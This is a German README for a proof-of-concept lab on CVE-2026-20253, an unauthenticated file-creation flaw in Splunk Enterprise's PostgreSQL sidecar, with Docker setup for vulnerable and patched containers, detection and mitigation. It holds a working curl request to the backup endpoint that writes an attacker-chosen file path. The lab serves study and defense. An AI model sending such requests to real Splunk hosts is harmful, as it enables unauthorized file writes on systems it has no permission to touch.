
POC for CVE-2026-20253
Unauthentifizierte beliebige Dateierstellung und -kürzung über PostgreSQL Sidecar
CVSS 9.8 · Kritisch · CWE-306 · Aktiv ausgenutzt (CISA KEV)
Dieses Repository ist ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bestimmt.
Alle Tests müssen gegen Infrastruktur durchgeführt werden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Die Autoren übernehmen keine Haftung für Missbrauch der hier gezeigten Techniken oder Werkzeuge.
Führen Sie dies niemals gegen Produktionssysteme oder Umgebungen aus, die Ihnen nicht gehören.
CVE-2026-20253 betrifft Splunk Enterprise Versionen unter 10.2.4 und 10.0.7.
Der mit Splunk gebündelte PostgreSQL Sidecar-Dienst stellt zwei interne HTTP-Endpunkte bereit:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Beide Endpunkte entbehren jeglicher Authentifizierungsprüfung (CWE-306), was bedeutet, dass jeder netzwerkerreichbare Angreifer sie ohne Anmeldeinformationen aufrufen kann.
Durch die Angabe eines angreifergesteuerten backupFile-Parameters kann ein nicht authentifizierter Benutzer beliebige Dateien auf dem Dateisystem des Splunk-Hosts erstellen oder kürzen – eine Grundlage, die Forscher zu vollständiger Remote-Codeausführung ohne Authentifizierung verknüpft haben.
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curldocker compose -f docker-compose.yml up -d --build
Warten Sie ~90 Sekunden, bis Splunk vollständig initialisiert ist. Verfolgen Sie den Fortschritt mit:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Splunk Web UI → http://localhost:8000
Anmeldedaten: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Splunk Web UI → http://localhost:8001
Anmeldedaten: admin / changeme
Beide Container können nebeneinander laufen — die Ports sind versetzt, um Konflikte zu vermeiden.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Erwartet: 400 — Endpunkt existiert, keine Authentifizierung erzwungen, Anfrage verarbeitet.
Überprüfen, ob die Datei im Container erstellt wurde:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Erwartet: 401 — Authentifizierung wird jetzt erzwungen, Anfrage abgelehnt.
| HTTP Status |
|---|
Das watchTowr Labs Team hat ein Erkennungsskript veröffentlicht, das die obige Prüfung automatisiert:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
Aktualisieren Sie sofort auf eine behobene Version:
| Branch | Behobene Version |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Wenn Sie nicht sofort patchen können, deaktivieren Sie den PostgreSQL Sidecar, indem Sie Folgendes zur server.conf hinzufügen und Splunk neu starten:
[postgres]
disabled = true
⚠️ Deaktivieren Sie den Sidecar nicht, wenn Sie Edge Processor- oder SPL2-Datenpipelines ausführen – er wird für diese Funktionen benötigt.
Diese Laborumgebung wird ausschließlich für defensive Sicherheitsforschung und Bildungszwecke bereitgestellt.
Unbefugter Zugriff auf Computersysteme ist illegal gemäß dem Computer Fraud and Abuse Act (CFAA), dem UK Computer Misuse Act und entsprechender Gesetzgebung weltweit.
Verwenden Sie es verantwortungsvoll.
| Eigenschaft | Detail |
|---|
| CVE | CVE-2026-20253 |
| CVSS Score | 9.8 (Kritisch) |
| CWE | CWE-306 — Fehlende Authentifizierung für kritische Funktion |
| Betroffen | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Behoben in | 10.0.7, 10.2.4 |
| CISA KEV | Hinzugefügt am 18. Juni 2026 |
| Bedeutung |
|---|
400 | Verwundbar — Endpunkt erreicht, keine Authentifizierungsprüfung |
401 | Gepatched — Authentifizierung erzwungen |
404 | Sidecar nicht vorhanden / falscher Pfad |
000 | Container noch nicht bereit |